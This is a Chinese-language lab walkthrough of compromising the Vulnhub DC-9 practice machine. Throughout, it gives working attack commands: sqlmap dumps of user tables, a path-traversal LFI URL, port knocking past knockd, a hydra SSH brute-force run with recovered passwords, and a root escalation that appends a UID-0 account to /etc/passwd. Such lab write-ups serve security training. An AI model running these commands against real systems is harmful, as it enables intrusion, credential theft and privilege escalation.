vulnhub靶机DC9


vulnhub靶机DC9
知识点:

SQL注入获取账号密码
LFI本地文件包含漏洞
knockd的保护SSH机制
绕过knockd限制暴力破解SSH
openssl创建加密用户
写入文件到passwd提权

信息收集

主机发现

1
nmap -sP 192.168.211.1/24

img

目标主机的ip为192.168.211.142
扫描靶机开放的端口服务

1
nmap -A 192.168.211.142 -p 1-65535

img

靶机开放了22端口和80端口
但是22端口被过滤了
访问80端口

img

发现每一个页面都是一个静态页面,只有两个表单
然后先对网站进行指纹识别

1
whatweb http://192.168.211.142/index.php

img

没有什么发现,扫描网站目录

1
nikto -h 192.168.211.142

img

没有什么可用的信息

getshell

用sqlmap去跑两个表单,最终在results.php发现SQL注入

1
sqlmap -u "http://192.168.211.142/results.php" --data "search=1" --dbs

img

最终发现了用户的密码

1
sqlmap -u "http://192.168.211.142/results.php" --data "search=1" -D "users" -T "UserDetails" --dump

img

然后再回去看看另一个数据库

1
sqlmap -u "http://192.168.211.142/results.php" --data "search=1" -D "Staff" -T Users --dump

img

得到管理员密码为transorbital1

成功一管理员登陆

img

发现下面显示文件不存在,联想到文件包含漏洞,然后开始枚举

img

1
http://192.168.211.142/manage.php?file=../../../../../../etc/passwd

img

端口敲门服务,即:knockd服务。该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,使系统开启需要访问的服务端口,才能对外访问。不使用时,再使用自定义的序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性。  

简单来说就是:知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务从而进行连接了。它的默认配置文件为:/etc/knockd.conf

所以现在就是要知道它的这个配置文件的内容就可以得到它自定义的端口号,用LFI把这个文件爆出来:

img

知道端口号后,然后用knock进行敲门

先安装knockd

1
apt-get install knockd

img

1
knock 192.168.211.142 7469 8475 9842   然后发现ssh可以正常连接

img

然后将刚才sqlmap跑出来的账号密码写入两个文件中准备撞库

img

img

1
hydra -L users.txt -P password.txt 192.168.211.142 ssh -vV

img

1
2
3
login: chandlerb   password: UrAG0D!
login: joeyt password: Passw0rd
login: janitor password: Ilovepeepee

找出来三个,先使用第一个登陆没有什么东西,不能访问其他目录

img

第二个也是一样

img

最后一个找了很久在/home/janitor/.secrets-for-putin下发现一个密码文件,再一次拿去爆破

img

有多出来一个用户,login: fredf password: B4-Tru3-001

img

登陆ssh

img

提权

查看具有root权限的命令sudo -l

img

发现一个test,进去查看

img

是一个python文件

img

查看test.py脚本的内容

1
find / -name test.py 2>/dev/null	发现先是一个python脚本

img

既然拥有root权限,那现在我们要做的就是构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限。
回到kali使用openssl工具先创建一个本地的加密用户:

1
openssl passwd -1 -salt admin 111111

img

到脚本所在的目录下

1
echo 'admin123:$1$admin$2WRLhTGcIMgZ7OhwCpREK1:0:0::/root:/bin/bash' >> /tmp/aaa

运行该脚本

1
sudo ./test /tmp/aaa /etc/passwd

img

1
su admin123

img

获得flag

img

文章作者:CyzCc
最后更新:2020年06月05日 17:06:53
原始链接:https://cyzcc.vip/2020/03/07/vulnhub-DC9/
版权声明:转载请注明出处!
您的支持就是我的动力!
-------------    本文结束  感谢您的阅读    -------------